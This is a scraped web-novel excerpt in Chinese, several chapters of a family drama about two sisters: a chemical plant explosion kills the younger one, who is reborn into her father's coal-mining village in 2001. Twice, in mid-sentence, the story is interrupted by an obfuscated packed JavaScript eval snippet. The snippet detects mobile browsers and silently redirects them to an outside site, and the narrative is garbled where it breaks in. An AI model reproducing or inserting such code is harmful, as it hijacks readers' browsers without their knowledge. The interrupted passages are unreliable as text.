国庆长假从九月三十日一直放到十月六号,中学的老师却还得在假期里进行家访,尤其是那些生活条件困难的学生家庭。 九月三十号中午,学校开了个会,安排老师们在国庆期间自行安排家访时间。学校的领导们最爱讲车轱辘话,无论什么会议,总能扯出一堆有的没的。 一个会议,三项议题来回扯,陆易安瞅了一眼手机屏幕上的短信提示,年级主任的目光立刻像刀子一样斜了过来。 再这么开下去,天都快黑了。 放假第一天,怕是有一半时间都要浪费在这无聊的会议上。 终于,会议结束了。陆易安被教导主任和安全办主任单独留了下来,叮嘱她这次家访一定要去那几个前几天和混混鬼混的学生家里看看。 此时,距离陆易安收到陆易宁发来的消息已经过去了半个小时。 手机收到两条短信,是陆易宁用一个陌生号码发来的。主要内容是工厂出事了,还交代了她收集公司违规操作证据的手机藏在出租屋的枕头底下。 网上已经有人上传了工厂起火爆炸的视频,陆易安在会议室门口看了几遍,情况远比她想象的糟糕。 当陆易安被同校老师送回家时,天已经完全黑了。 “陆老师,你先别急,网上都说了,消防员已经赶去现场了。” 同事的安慰轻飘飘地从耳边掠过,陆易安道了声谢,同事离开后,她爬楼梯时腿抖得像筛糠一样,几个台阶差点摔了两次。 去市里的高铁还有一个多小时才发车。陆易安整个人都是懵的,想哭却不敢哭,怕眼泪一出来就止不住了。 陆朵朵看她妈妈这样,也不敢上前问,只好关掉电视,呆呆地坐在沙发上。 给刘佳打了电话,刘佳和张荣十分钟不到就开车到了家门口。 门是半开着的,刘佳推门进来,“这到底是怎么回事啊?” “我也不知道,就是……她工厂炸了,她说是因为公司违规不改,起火点就在她们厂房附近。”陆易安来回翻看陆易宁用陌生号码发来的信息,看过一遍后,除了前几句,其余密密麻麻的字,她一个都看不进去。 张荣问:“电话还是没人接吗?” “打了,两个号码一直无法接通。她说过她们工厂不能带手机进去,用的也是厂里配的防爆手机。” 陆易宁一共发来了两条短信,那时她在开会,她不敢想这两段字,妹妹到底是在什么环境下发给她的。会不会周围全是火,全是泄露的毒气? 刘佳安慰道:“你先别急,我们先把朵朵送到我家去和张睿轩待一块。我打电话喊我妈她们过来帮忙看着,我们一块去陆七七她们公司。” “好。” 从镇上坐车去陆易宁所在的公司,最快也要两个小时。陆易安一路上都在打电话,发微信也没人回。 * 漫天的大火,外加有机溶剂泄漏,即使戴着防毒面罩,陆易宁还是被刺鼻的化学试剂气味冲得头晕目眩。有机溶剂都储存在防爆仓库,车间距离防爆仓库有一定的距离,而且这次试料根本用不着这么多苯,全车间的甲苯异丙醇都漏了,应该也不会有这么浓烈的气味。 看来,之前她在离开公司时,在大门口看见负责人和有关部门的工作人员说晚上约饭的场景不是假的。 陆易宁强撑着,拖着步子走出大火区,一定要在死前弄清楚那批溶剂到底存放在哪里。 因为不放心,她白天到处查过,她不能接近防爆仓库,所以不知道那批货物有没有搬进去。但车间的仓库内并没有人存放有机溶剂。 除了成品仓库,她不能扫脸开门进去,外加产线上的同事催得急,她只能在外面看了一眼,没有发现异常。而现在,成品仓附近的甲苯气味浓度最高。猪鼻子早就没有过滤效果,头疼欲裂,吐的力气都没有,眼球像是被血冲了。 陆易宁一直摇头试图让自己清醒,四周的温度 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陆易安推开车门,跳下去,自己扫了一辆电车骑,交代夫妇俩在这等她。化工厂一旦出事,很可能附近的居民和设施都要遭殃。她不敢让别人陪她去冒险。 冲鼻的气味越来越浓,在距离目的地三公里的地方,浓烟弥漫的天边突然冲出一道黄光。砰的一声巨响,连地面都被震了一下,陆易安整个人被颠倒在路上。待她到目的地时,刚黯淡下去的火光又亮了起来。 * 消防车排成长龙,堵在路上,公司大门口有不少人,陆易安远远扫了一眼,几个穿着工服、灰头土脸的工人站在那里,算是这场灾难中最幸运的一群。还有几个被匆匆抬进救护车,担架上盖着白布,静静地躺在地上,仿佛在无声地诉说着什么。 消防员们依旧在火海中穿梭,往更深处的火区冲去。陆易安走近时,公司的负责人正和消防队长紧张地核对受灾区域和各个车间的值班人数。 周围有人低声议论,爆炸的中心正是陆易宁短信里提到的【1011】车间。听到有人猜测那个车间的人会不会已经被汽化,陆易安的怒火瞬间冲上头顶,再也按捺不住。 她不顾旁人的阻拦,冲到负责人面前。负责人刚说完话,脸上就结结实实挨了一拳,整个人踉跄后退。 “你干嘛呢?!”有人惊呼。 安保人员立刻冲上来拉住她,但陆易安早就气炸了,双脚并拢,猛地跳起,狠狠踢向负责人那鼓起的肚子。 头顶微秃、大腹便便的中年男人被陆易安一脚踹翻在地,她红着眼睛,声音嘶哑地冲他怒吼:“你说我干嘛?我妹妹在里面!她明明已经向有关部门反应了,你们为什么还不整改?为什么不停工?为什么该放防爆仓的试剂要随便堆在普通仓库?为什么该换的管道不换?该换的设备不换?他们的命就那么不值钱吗?!” 男人捂着肚子,脸色惨白,面对陆易安的质问,他哑口无言,或许是那一脚踢得太狠,又或许是他终于意识到自己即将大难临头,整个人瘫在地上,连反驳的力气都没有。 七天后,事故的伤亡人数终于统计出来,新闻播报的数字冰冷刺骨——重伤二十余人,死亡十三人。 而当日值班的两位员工,尸首至今下落不明,陆易宁就是其中之一。 陆易安去出租屋取走了陆易宁的备用手机,一有时间就往有关部门跑,像疯了一样追问事故的调查进展。 热搜在网上挂了几天,从前十慢慢掉到了五十开外,仿佛这场灾难已经开始被世人遗忘。 * 这天,陆远在街上转悠,偶然听到一个大消息,连忙赶回家。陈英正坐在饭桌旁,给两个孙子喂午饭。陆远一进门,就沉着脸坐在桌边,一言不发,只是不停地叹气。 “又怎么了?”陈英不耐烦地瞪了他一眼。 陆远抬起头,目光呆滞地看着孙子吃饭,声音低沉:“前几天栾安有个厂子不是爆炸了吗?易宁那孩子……也在里面。” “什么?”陈英的手一抖。 短暂的沉默后,陈英继续给孙子喂饭,不以为意地勾起唇角:“都怪她那张嘴不饶人,你好心打电话关心她,她倒好,反过来咒你,说什么死不死的。这下可好,报应真落到她头上了。” “人都没了,还说这些干什么?”陆远握紧拳头,声音低沉,带着压抑的怒火。 陈英冷笑一声,斜眼瞥了他一眼:“哟,那你倒是去关心关心啊,看看陆安安会不会领你的情,还是她妹妹能从地底下爬出来感谢你?” “别说了!”陆远握紧拳头,又是一拳捶在桌上,叹了口气,“唉,不过我听说,她们那个厂子背后还有个总公司,有钱得很,这次赔下来,至少都是八十万。” “是吗?”听到“八十万”这个数字,陈英的语气突然软了下来。 两个侄女命苦,从小没了爹,前年又没了妈。这世上,陆易安最亲的人怕是没几个了。从血缘上看,他们家也算是一份子。 陈英眼珠一转,盘算着:“要不,你过几天和陆一晨买点东西,去她们舅舅家看看老太太,顺便表示表示。大的那个脾气犟,你就请她两个舅舅帮忙劝劝,别总是跟我们这么疏远。好歹让我们也能帮上点忙。” 陆远觉得这话有理,点了点头。 第三天,他带着小儿子,提着大包小包的礼品,上门去了刘家。 不巧的是,陆易安刚好在小舅舅家里陪外婆。陆远一进门,刚提起陆易宁的事,陆易安的脸色瞬间冷了下来。还没等他说完,她直接抓起他们带来的牛奶,整个扔出了门外,顺便“问候”了一顿他们同宗同源的祖上亲戚。 4. 第四章 2001年,农历七月初七。 正处于最热的季节,煤矿工人连续加了十来天的班,今天终于可以早点出井。 工人们脸上的汗水裹着煤灰顺着脖子淌在与黑色合二为一的工装上。活虽然累,但是大部分人的脸上都是喜滋滋的笑容。 工作累,但是来钱快,一个月挣一千多块,在一个消费水平不高的西南小城,算是卖力气的人能找到最赚钱的工作了。即使煤矿上发生意外的概率很大,依然有不少人拖家带口的来。 今天是发工资的日子,又可以早点下班,三三两两的工人结队在一块,领完工钱,都嚷着说要去消遣一番。 陆平再次将工资数了一遍后将钱小心放在裤子口袋的夹层里。 “陆哥这个月加的班多,赚得可比我们厚多了!” 一个二十出头的年轻人见状,凑过来打趣,“赚这么多,就该藏得深一点。” 陆平眼里看着路,走得不快不慢,“哪个想去卖死力气哟!我也想跟你一样会开车,有个手艺,一个月赚少点也没事。” 矿上的司机不多,郑松偶尔也会兼职司机,平常开煤车拉散货,活忙时通常会进矿里挖煤。 赚的钱跟出大力气的人比算少的。 “陆平,小郑,发了工资,待会跟我们一块出去潇洒去啊!”几个工友勾肩搭背地迎上来,“有了钱,回家去看什么大肚婆老妈子,我们之前在堕街碰上一群新来的女人,别提有多好看多热情。” 男人轻佻的一句话,顿时引来无数捧场的呼声。 “堕街”距离矿山两公里,原本是文水市的一条老街,因为挖煤开采,逐渐形成了距离矿山最近的红灯区。 去堕街潇洒,是煤矿上大多男人发了工钱后的消遣之一。 郑松听完,面无表情。 “走啊,小郑,你应该没找过吧。”其中一个四十岁左右的男人看他爱答不理的,以为他没听懂,又用夹生的普通话说:“去找女人玩啊!” 郑松虽然是外省人,但也是邻省的。 两省的方言大差不差,他听得懂,但是懒得理。 “行了行了!”陆平嫌弃地将他们的手从肩膀上扯下来,“你们但凡把那些钱用来花在屋里的女人身上,谁会比外面的差?比外面的丑?” “你们看你们看,这陆大兄弟又来了!憨脑壳一个。” 几人对着陆平唏嘘几句,迈开大步子向前走。等回到煤矿附近临时搭建的住所内,脱下身上的脏衣服给媳妇洗,穿上干净的衣服出村,吃一顿好的喝一顿大的找几个美的,那才是生活。 这座矿山分成两个部分。矿区在后,前面的一部分地势较平较为宽阔的地方就是居住区。 居住区原本就是个小村子,后来煤矿开采,为了赚钱,很多人都是带着妻儿来到这里生活。 为了生计,也有人在附近开店,开餐馆。 倒是形成了一个生活区。 两个区域之间不过相隔百米。 每逢一段时间,矿山前方百米处的石墩子上就会坐着一个小女孩。 每当陆平上白班,女儿就会经常来接他下班。 陆平隔远看见女儿坐在几十米外的石墩子上,连忙加快步伐。 小女孩穿着一身干净的粉色连衣裙,上面点缀着白色的小碎花,脑袋左右两边各绑着一个辫子,摇头晃脑地往他的方向看,无疑是墨灰色环境中一抹飘摇的彩色。 “陆哥,你看你大闺女又来接你了。”郑松经常看见这一幕,见怪不怪,反而有点羡慕。 陆平颇为得意地炫耀:“羡慕啊,等几天你不也有这么一个吗?过个两三年,就会来接你下班了。” “那还要等很久啊!” “你别说,小孩子长得很快,不知不觉就变大了。” “那是男孩是女孩都不清楚,要是跟你家一样,也是个女孩,那才好。” 陆平:“是男孩还是女孩用不了多久不就知道了吗?” 虽然陆平现在的脸很黑,但是陆易安一听见父亲的声音,就跳下石墩子,“爸爸!” “哎!幺儿!”陆平小跑过去,身上太脏,也只是用唯一洗干净的手摸了摸她的脑袋。 “爸爸,我想吃小笼包。” 陆易安撒娇道。 陆平:“吃!” “我想吃敲敲糖。” “吃!爸爸今天一次性全付清。” 陆易安年纪小,只有两岁零九个月,被她妈妈养得好,干干净净的,算得上是煤矿村上最干净最漂亮的小孩了,经常在村里到处跑到处逛,村里没有人不认识她。加上嘴巴又甜,会说的话多,附近的商家都很喜欢这个孩子,尤其是开便利店的老太太。 于是,陆平在老太太那里得了一个特有殊荣:赊账。 他的闺女可以在店里拿零食吃,每个月发工资那天,他一次性缴清。 当然,这件事他的妻子刘秀珍并不知道。 “安奶奶,我来啦!”陆易安飞快跑到小卖部门口,“奶奶,今天还有敲敲糖吗?” “吃那么多糖,不怕牙齿痛啊!”安老太坐守在橱窗后面,厉声道:“今天不是吃过了吗?” “我还没吃够嘛。” “你啊!”陆平将女儿拉在一边侯着,“没事的,姨,我多称一些,正好带点回去给她妈和小的那个吃。今天顺带把这个月的费用结了。” “姨,我也称一点。”郑松说。 “好。” 老太太识得一些字,秤完糖后,拿出记账本,“这个月一共是三十三块五,那三块五算是我请我大孙女的。” “要得。”陆平在数钱,陆易安立马蹦得老高,“谢谢安奶奶!我爸爸下个月肯定会让我在你家吃更多好吃的。” 陆平付完钱,宠溺地骂道:“就你会说,什么都要吃。” 陆易安拉住爸爸的大手,“爸爸,我还要吃小笼包的,你答应的。” “好好好,待会多买一份,带回家给妈妈吃。” 回家? 你媳妇都进医院了还回家? 安老太见状,终于反应过来了,连忙问陆平,“小陆,你是要带去医院吗?” “去医院?”陆平和郑松面面相觑。 安老太意识到陆易安这孩子什么都没告诉她爹,只顾着吃了,“小刘要生了,三点就被人叫车拉去医院了啊!” “什么?”陆平垂眸看了陆易安的脑袋一眼,二话不说,抱起她火急火燎地开跑:“你这孩子怎么不早说呢?你妈妈都去医院了!” 手里的糖被抖落在地上,陆易安委屈地大喊,“我的糖!我的小笼包!” “都什么时候了,还糖糖糖,糖你脑壳!” 陆易安在陆平怀里撒泼“我就猜得到,我一说妈妈不在家,你就不管我了!” 郑松跟在后面,“陆哥,你别急,待会我送你去医院,用不了多长时间的。” 飞奔到家门口,陆平匆匆洗完脸,衣服都来不及换,往鸡笼里抓了一只鸡跑到邻居大姐陈菊萍家,拿了五十块钱,拜托邻居帮忙杀掉,用来炖汤。 郑家与陆家几算是门对门,赵倩听见捉鸡的动静,挺着肚子出来,“陆哥,你别慌呀,秀芬大姐陪着刘姐在医院呢。我打电话去问过,已经生了。” 陆平哪里顾得上她再说什么,一个劲地嘱咐邻居大姐鸡要炖嫩一点。 “这时候哪有不急的。”郑松回屋换了一件外套出来,“你还是先顾着自己吧,顺便帮忙看着点他家陆安安。” “行了,我知道,你开车开慢点。” 两个男人风风火火去停车的地方,赵倩将陆易安招到自家门口,突然想到了什么,又冲着两个男人的背影喊:“刘姐生了个大胖闺女!” 陆平没听清,“她说什么?” 郑松听得也迷糊,“好像说生了个大胖小子,这下陆哥你真的是儿女双全了。” “生了个大胖闺女?”陆易安嘴里含着一块糖,慢点着头,话说得含糊不清。 “对。”赵倩摸着她的头,“安安要有妹妹了,高不高兴啊?” 陆易安哪里懂得生孩子,只是摇着头,“妹妹?” * 再次睁开眼,望着泛黄的天花板,陆易宁眨了很多次眼睛。 周围好像有几个女人一直在说话。 “你看,她的鼻梁骨长得跟她爹的一样,又直又高的。哎哟,这大耳朵,这大脸盘子,娃娃以后长大肯定是当官的命。” 熟悉的说辞,好像在哪听过。 陆易宁眨了眨眼睛,慢慢看清出现在眼前的女人。女人三十来岁的年纪,皮肤偏黄,尖下巴,高颧骨,单眼皮,眼皮有点肿,右边的眉毛里有一颗黑痣,额前的刘海三七分,被两个紫色的一字夹固定住后再梳到后脑勺,一直在对着自己努嘴,逗自己笑。 “秀芬伯娘?我又重来一世了?”她之前迷迷糊糊看见母亲的脸,还以为自己在做梦,直到看清女人,终于反应过来。 这个女人是母亲在煤矿上的好朋友之一,周秀芬,煤矿村里杂货铺的店主。 上次重生,第一眼看见的是伯娘,也是这样发黄的天花板。 陆易宁心里充满感激地呐喊,感谢天感谢地,给了自己反悔的机会。 刘秀珍心里不安,伸长脖子问:“姐,孩子这么久了,怎么不哭呢?会不会?” “你不要乱说。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438362|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周秀芬抱着女婴,“不是看起来好好的吗?不过,怎么只见流眼泪啊,她也太安静了吧?” 刘秀珍说:“我记得我家大的那个女儿一生出来,哇哇哭得可厉害了。” “也不一定所有孩子都要哭吧,我家大儿子出生就没怎么哭。” 三轮车跑了七八分钟,陆平抵达医院门口。 说是医院,其实并不大,只是一间私人诊所。诊所里的医生各个都是牛人,每个人身兼数职,外科,妇产科,内科,骨科都有涉猎。 这是距离矿山最近的诊所了,正规大医院去不得。这里的位置偏,抓计划的很少来,附近有人生孩子都会送来这。 因为小,陆平很简单就找到母女俩所在的房间。 陆易宁好像听见了父亲的哭声,还有女人的笑声。 周秀芬看见陆平趴在床边守着妻子哭,直接笑了出来。 “你怎么这样就来了?灰头土脸的。”刘秀珍看着泪流满面的丈夫,哭笑不得。 “我一出井,听到你都要生了,难不成还要我乔装打扮成个妖精才来。”陆平握着妻子的手,“苦了你了!” “苦什么,又不是没生过。”刘秀珍的眼泪在眼眶里打转,嫌弃地说:“你现在才像个妖精,黑煤精。” “哎哟,别守着婆娘哭来烦她了。”周秀芬抱着女婴,“你看,你胖姑娘长得真像你。” 陆平擦掉眼泪,小心将女儿抱过来。 他的头发乱糟糟的,依稀能看出之前认真梳理的两块瓦发型的轮廓,眼泪和鼻涕同时挂在脸上,陆易宁看见这张脸,顿时哇哇大哭。 她上一世也是看见的也是这张脸,父亲年轻时候的脸。如果不是她自作聪明,他也不会在两年后,死于那场矿难。 真不敢想,自己还能再次见到他的模样。 “哇,一看见爸爸就知道哭了。” 周秀芬转身对刘秀珍说:“你看,孩子哭得响得很。” “会不会是我吓到她了。”陆平想到自己不修边幅的模样,怕弄脏了孩子。 周秀芬从陆平的手里将孩子接过来,笑着对陆平说:“你先把脸擦干净,你看你鼻涕都快掉她脸上了,她能不哭吗?” 陆平走到床边撕了点卫生纸,擦干净眼泪和鼻涕,又将陆易宁抱回来,“我能不能抱出去给郑松看看,他在外面不好意思进来。” 得到刘秀珍的同意,陆易宁来到这个世界上看见的第四个人,郑松,父亲在煤矿上的好兄弟,微胖,皮肤偏黑,个头比父亲矮点,浓眉大眼的,在陆易宁的印象里,他的话很少,是个真正的老实人。 “陆哥,长得真像你。”郑松靠着墙,看孩子时,嘴巴就没合拢过,“男孩还是女孩啊?” “女孩。” “我也想要一个女儿。”郑松说:“像你家陆安安那样的,招人爱。” “会有的。”陆平说。 陆易宁看着郑松的脸,心里暗自回道:不会的。 她记得,郑松会有一个儿子,与自己同一天出生,估计没几个小时赵倩阿姨就会被送过来。 第一世,他的儿子是自己的儿时之敌。第二世时,两人是同病相怜的可怜人,丧父的可怜人。 被几人抱着来回看,陆易宁瞌睡来,睡了一觉,再次醒来,郑松已经被煤矿上打来的电话叫回家去接人了。 而父母在这两个小时内,定好了自己的小名,陆七七。 原因很简单,农历七月初七出生。 晚上八点,赵倩平安生了个儿子。 郑松嘴上说着想要女儿,但看见自己第一个孩子的那一刻,是男是女早已没那么重要。 刘秀珍听到赵倩母子平安的那一刻,悬着的心也跟着放了下来。 陆平买了小笼包回到煤矿上,等大女儿吃完,重新换了一身行头,并去邻居家端来炖好的鸡,装在饭盒里。妻子一直没胃口,说不定鸡汤就能对她的胃口呢。 “爸爸,我要吃鸡腿。”陆易安守在餐桌前,一眼就瞄准了熟烂得快要脱骨了的大鸡腿。 “不行,这是你妈妈跟倩倩阿姨的。”陆平盖上饭盒,“再说了,你不是刚吃完小笼包吗?” 陆易安嘟着嘴,“大胡子家的包子肉少你又不是不知道。” “明天你再吃鸡腿。”陆平打包好餐食和刘秀珍这两日换洗的衣裳,拉着女儿出门,在家门口等郑松。 郑松把赵倩在孕期间给孩子织的毛衣,买的衣服全带上,一个大牛仔包被挤得鼓囊囊的。 “走吧,陆哥。”郑松锁好门,陆平忍不住提醒,“其实用不了这么多的。” 第一次当爹,郑松傻乐傻乐地背起大牛仔包,“说不准能用上。” 5. 第五章 两家孩子同一天出生的消息在煤矿上已经传开了。 陆平和郑松去诊所的路上,村里人都在问他们是不是要去看孩子。 男孩还是女孩这个问题就是被问得最多的。 郑松的三轮车停在路口,住在路口的老太太看见几人来开车,又问了同一个问题。 郑松说:“儿子。” 陆平:“女儿。” 老太太的视线落在陆易安脸上,扯着嘴角讥讽道:“人家小郑家生了儿子是该笑,现在政策紧,你家两个女儿有什么笑的?” 陆平脸上的笑容僵住。 老太太恨铁不成钢地说:“生一个胖女儿又不是胖小子,你还巴巴地请别人杀鸡做汤送去给她吃,要我说刘秀珍那种女人有什么值得吃的。小陆啊,你还是太老实了。” 陆平嬉皮笑脸地说:“小胖娃多难生下来啊,就要喝鸡汤补才行。” 老太太的脾性所有人都知道,说话难听,爱上别人家唠家常,跟东家扯西家,在西家骂东家。 陆平不想跟她撕破脸,万一把人说气了,不知道又要编排什么有的没的。 大人要维护脸面,小孩有什么说什么。 “关你屁事?管事管得宽,裤子反着穿。”陆易安气鼓鼓地瞪着老太太,摇了摇陆平的袖口,“爸爸,我们快走,不要跟这个老奶说话。不然,她一丢钱又要说是我偷的了。” 老太婆松垮的脸刷地一下,更跨了。 有时候大人不好说的话,被孩子无心说出来,更能解困。 陆平故意摆出一副凶样教训女儿,“你这孩子,谁教你这样的?” “她教的。”陆易安手指着老太婆,吐了吐舌头,“略略略……” 嘚瑟完,立马溜到大马路上朝她摇屁股。 整个矿场上,陆易安讨厌的人有三个。爱打女人还恐吓她的王铁军,挖煤出来爱用脏手摸她脸的抠瓢徐锦大哥哥,以及住在马路口的这个老家伙李凤仙。 只是因为她在家门口掉了五块钱,被她孙子捡去用了,陆易安从路口经过,反被她孙子诬陷偷钱。 李凤仙上门要说法,刘秀珍不由分说打了陆易安一顿。气得陆易安跑到她家里,把老太太的孙子从床上的被子里揪出来骂,他才在大人面前认了那五块钱被他拿去买零食吃的罪行。 之所以说是陆易安偷的,是因为他买的零食,有一大半被陆易安骗去吃了。 真相大白,陆易安又因为骗别人的东西吃被打了一顿。 至此,陆平才与零食铺的老太太订了零食费用每个月一结的约定。 * 可能是身体的原因,陆易宁特别容易睡着,一天可能要睡十几觉。 毫无意外,每次睁眼,看到的都是陆易安的小脸盘子。 陆易安自从来了诊所,听周秀芬说床边的小宝贝是她的妹妹之后,她的视线再也离不开妹妹。 陆易宁也在看着她,小孩姐的长相很令人舒服。这时候的她还没换牙,牙齿还是齐的,笑起来时有两瓣小虎牙,脑袋左右两边各绑着一个高高的马尾辫,发圈旁边还别了两个粉色的小熊发夹。跟母亲一样,她的双眼皮不是很明显,皮肤特别白,加上母亲喜欢打扮她,小丫头从小就是个精致娃娃。 不出意外,以后几年,自己将活在这张看似人畜无害实则全是“心眼子”的笑脸所带来的阴影里。 不过,她现在可是陆易安的宝贝,陆易安不准任何不熟的人接近她。 “安安,喜不喜欢你的妹妹啊?”刘秀珍闺蜜团的另一个成员,陈菊萍来医院看她时,碰巧撞见这一幕。 姐姐守着妹妹,妹妹看着姐姐。 “喜欢。”陆易安说。 刘秀珍从窗户边撑着腰慢慢走到床边,“两天了,每次来都守着她妹妹看。” 陈菊萍打开饭盒,里面的牛肉还泛着热气,“我给你炖了牛肉,快来吃!” “谢谢二姐,我之前还说想吃牛肉,你今天就送来了。”刘秀珍坐在床上,夹了一块牛肉送进口中,牛肉软烂入味,刘秀珍恨不得竖起气大拇指,“不愧是你的手艺。” “好吃多吃点。” 陆易安回头,傻乎乎地问:“妈妈,妹妹是怎么来的啊?” 刘秀珍的口中刚塞了一块牛肉,没顾得上回她。 “你妈妈捡来的。”陈菊萍抢先说道。 陆易安蒙了一阵,反手指着自己,“那我呢?我也是捡来的吗?” 陈菊萍故意逗她,“对,你也是,不过你是你妈妈从菜地里捡的。” 对于小孩子的来源,中国的父母和长辈不约而同地统一了一个口径——捡。 垃圾桶,厕所,马路上,家门口,山坡上,臭水沟,马路口…… 九百六十万平方千米的大地上,到处长满了孩子。 陆易安看向刘秀珍,“真的吗?” 刘秀珍憋着笑点头。 天真的陆易安信了。因为昨天来诊所时,她的的确确看见街口的大石头上有个孩子,然后回去时就不在了,肯定是被人捡去当妹妹了。 陆易安此时终于相信,那块石头,会生孩子! 以至于她后来看西游记看到孙悟空从石头缝里蹦出来,她才后知后觉,那些被遗弃在街口大石头上的女婴,其实都是孙悟空的妹妹。 * 正好街上的医院要开展给孩子集体打预防针的工作,陆易安也被陆平带去打了一针。 打预防针回来,被打痛了,吃完甜甜的糖丸,要哭也要守着妹妹哭。 “妈妈,妹妹也要打预防针吗?”陆易安守在病床前,用小手指头逗陆易宁。 刘秀珍说:“要啊,不过要以后才打。” 陆易安惊恐地抬起头,她哪里知道母亲口中的以后是什么时候。可能明天,可能后天。她可不允许那个用针刺她,还特别凶的老男人欺负妹妹。 而且,自己想养条狗狗母亲都不同意,养小孩她应该也会不同意。 不行,必须伸出手救这个可怜的孩子 所以,陆易宁一觉睡醒,再次睁开眼,看见的不是病房里的天花板,而是黑漆漆的楼道。 她差点忘了,刚出生没几天,陆易安怕父母带自己去打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438363|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 针,她抱着自己来了一次出逃。躲在了诊所逃生通道堆放杂物的楼梯间。 这件事在她长大以后还被父母拿出来说。 她这么沉,陆易安还能抱着她跑这么远,看来是下定了很大的决心。 怀里的小宝宝哼了一声,陆易安轻轻拍着她的背,“妹妹别怕,我跟你说,那个打针的老头凶死了,他肯定会用针刺死你的。” 陆易宁腹诽:我不会被针刺死,待会你得被你爸妈男女混合双打打个半死。 可惜现在不会说话,陆易宁隐隐听到父亲和秀芬伯娘的声音,顿时开启哭吼大法。 陆易安被陆平和周秀芬找到,不出所料,在病房里都能听到诊所外面陆易安的哭声。 陆平还没下手,小丫头就哇哇一阵哭,引得路过的人盯着父女俩看。 当众打孩子不好,陆平只好将她带到人少一点的地方去,随便训教几声,“你为什么要把妹妹藏着?” “我怕你们带她去打针。”陆易安坐在地上,一边哭一边说。 陆平想到在街上打预防针时的情景,女儿不肯打,被打预防针的医生骂了一句,她回嘴,又被自己教训,所以怕医生也在理。 “谁说要带她去打针了?” “妈妈说的,而且,我也不想妹妹睡在大街上。” 孩子的世界不懂那么多,她也只想保护妹妹罢了,陆平的火气慢慢变小,“谁跟你说她要睡在大街上的?” 陆易安委屈巴巴地说:“我想养条狗狗,妈妈都不同意,我想养妹妹,她不同意的话,妹妹就只能睡在大街上了。” 这段时间忙得头昏,只告诉孩子她有了个妹妹,但忘记教孩子妹妹也是家人,也要跟着大家生活。 陆平哭笑不得,“她是你妹妹啊,我们都是要一起生活的。” “可是我才认识她几天,妈妈会同意吗?” “当然会。”陆平蹲下身子,抚摸女儿的头顶,“你就当妈妈不养狗,改养妹妹了。” “那妹妹以后在家里能吃剩饭剩菜,不用吃粑粑吗?” “等以后妹妹长了牙齿,你吃不完的剩饭剩菜,可以悄悄喂妹妹吃。” 简单粗暴的解释。 陆易宁:“……” 怪不得以后陆易安总是说自己能在家吃饭不吃粑粑都是她哭着跟爸爸求来的。 刘秀珍隔着窗户听见,立马推开窗,“陆老三,你再跟老子乱教,你上来老子就把你的嘴撕烂。” 陆平:“……” 得到确定的消息,陆易安更宠她的第一个妹妹了。 无时无刻都守在陆易宁身边,跟她说一些有的没的。 有今天自己吃了什么零食,爸爸买了一张带有轮子的小床放在家里。她昨天偷偷背着爸爸吃麻辣片,不想吃爸爸做的饭,把饭偷偷倒在鸡圈喂鸡等等。 从医院到家,陆易安天天守着陆易宁念,“七七,等你长大了,我带你去吃零食好不好?” 陆易宁两眼无神听她念经。陆易安不把自己当宝贝的时间点在一年半以后,因为那时自己长了牙齿,确实能吃零食了。 6. 第六章 夏季的天气阴晴不定,白天沉闷不堪,下午的闷热过后,傍晚开始刮大风就意味着将要大雨倾盆。 煤矿周边的房子大多是临时搭建的,陆家的房子不大,算是比较好的。外墙是红砖,屋顶是瓦片。有的地方没瓦片,但是用薄膜和尿素袋子盖在上面,再用石头压住,勉强能抵风阻雨。若是碰见下冰雹的天气,刚用花油布补好的墙顶定要歇菜。 狂风大作,陆平和郑松还没回来,刘秀珍在门口等了会儿,赶紧回家把门关上。 洗脸盆洗脚盆洗菜盆又开始兼职,分别被放在里屋和外屋的几个墙角接漏进来的雨水。 空着的水桶被放到外面接雨水,将接来的雨水简单过滤一下就能用来洗衣服,不用去路口接。 这段时间家里没做饭,刘秀珍要亲自做饭,陆平坚决不同意。 白天大女儿会去附近的餐馆给她买吃的,晚上下班后,他再和郑松去饭馆,让饭馆做一些好吃的打包带回来。 “妈妈,爸爸怎么还不回来啊?”外面大风肆虐,雷声轰鸣,屋顶的花油布被风吹得在空中来回翻转。 陆易安怕雷声吓着妹妹,天真地将自己所有的玩具围在陆易宁身边,手拿着蚊子玩具在妹妹眼前晃悠,安慰妹妹不要害怕。 陆易宁环顾四周的卡通玩具,纯黑色毛绒大蜘蛛,有成人手臂长的黑耗子,嘴巴有手指头长的大蚊子,蟑螂状的枕头,唯一正常一点的就是狗狗形状的玩具,还是狼狗。 这更吓人好吧! 陆易宁选择闭眼。 因为以前老家居住条件不好,房屋后面是林子,晚上屋里会有老鼠蜘蛛在床头爬。天一热,大蚊子还多,加上陆易安想要玩具模型,陆平为了锻炼女儿的勇气,在女儿懂得害怕老鼠蜘蛛前,不知从哪买来一些乱七八糟的玩具。 这些玩具好几次差点被刘秀珍烧了,但是想着是钱,女儿还不准,又只能留下。 其实当初还买了假蛇,不过刘秀珍看着害怕,用假蛇抽了陆平一顿,给扔火坑里了。 “待会就回来了。”刘秀珍心里也有点担心,不过她担心的点不在天气。 父亲身体不好,卧床不起一年多了,生孩子那几天,家里甚至打电话来说差点不行了。 幸运的是,好歹撑过去了。 而每次下雨,父亲就会被病痛折磨得大叫。 指头大小的雨滴砸在房顶上,门外传来急促的步子声,刘秀珍打开门,是郑松回来了。 他手里提着两家人的晚饭,分量多的是陆家的。“刘姐,陆哥在陈家接电话,不一会就回来了,他让你们先吃。” 